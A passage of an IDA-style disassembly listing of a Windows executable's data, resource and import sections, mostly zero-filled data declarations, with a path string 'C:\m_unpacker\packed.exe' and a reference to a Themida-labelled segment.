dword_4DB928	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB92C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB930	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB944	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB948	dd 25D0B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB950	dd 25D0B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB954	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB958	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB960	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB968	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB96C	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB970	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB974	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB97C	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB980	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB988	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB98A	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB98E	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB990	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB992	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB998	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB9A0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB9A4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB9A8	dd 0			; DATA XREF: sub_41F312r
dword_4DB9AC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB9B0	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB9B4	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB9BC	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB9C0	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB9C4	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB9C8	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB9CC	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB9D0	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB9D4	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB9D8	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB9DC	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DB9E4	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DB9F4	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DB9FC	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DBA00	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB960o
		align 10h
		dd 3Ah dup(0)
dword_4DBB08	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DBB0C	dd 0			; DATA XREF: sub_423590+21r
dword_4DBB10	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DBB14	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DBB18	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DBB20	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DBB22	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DBB24	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DBB40	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DBB44	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DBB48	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DBB4C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DBB50	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DBB58	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DBB60	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DBB64	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DBBA4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DBBA6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DBBA8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DBBAA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DBBAC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DBBAE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DBBB0	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DBBB2	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DBBB4	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DBBB8	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DBBF8	dw 0			; DATA XREF: sub_424A4A+46r
word_4DBBFA	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DBBFC	dw 0			; DATA XREF: sub_424A4A+67r
word_4DBBFE	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DBC00	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DBC02	dw 0			; DATA XREF: sub_424A4A+55r
word_4DBC04	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DBC06	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DBC08	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DBC0C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DBC10	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DBC14	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DBC18	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DBC1C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DBC20	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DBC24	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DBC28	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DBC2C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DBC30	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DBC38	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DBC3C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DBC40	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DBC44	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4DBC48	dd 25D1140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		dd 5 dup(0)
dword_4DBC60	dd 400h	dup(0)		; DATA XREF: ___:off_43D098o
					; ___:0043D0A0o
dword_4DCC60	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DCC80	dd 25D0650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DCC84	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DCD80	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DCD84	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DCD90	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DCD9C	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DCDA0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DCEA0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DCEA1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DCFA4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DCFA8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DCFAC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DCFB0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DCFB4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DCFB8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DCFBC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DCFC0	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DCFC4	dd 25D0000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DCFC8	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DCFCC	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DCFD0	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DCFD4	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DCFD8	dd 25D0758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DCFDC	dd 25D0758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 8 dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
dword_4DF000	dd 9F1F58h, 77E75CB5h, 0 ; DATA	XREF: .yvs_:005C1074o
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		db 0
		dd 0F9h	dup(0)
		db    0			; DATA XREF: Themida_:005520FCo
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
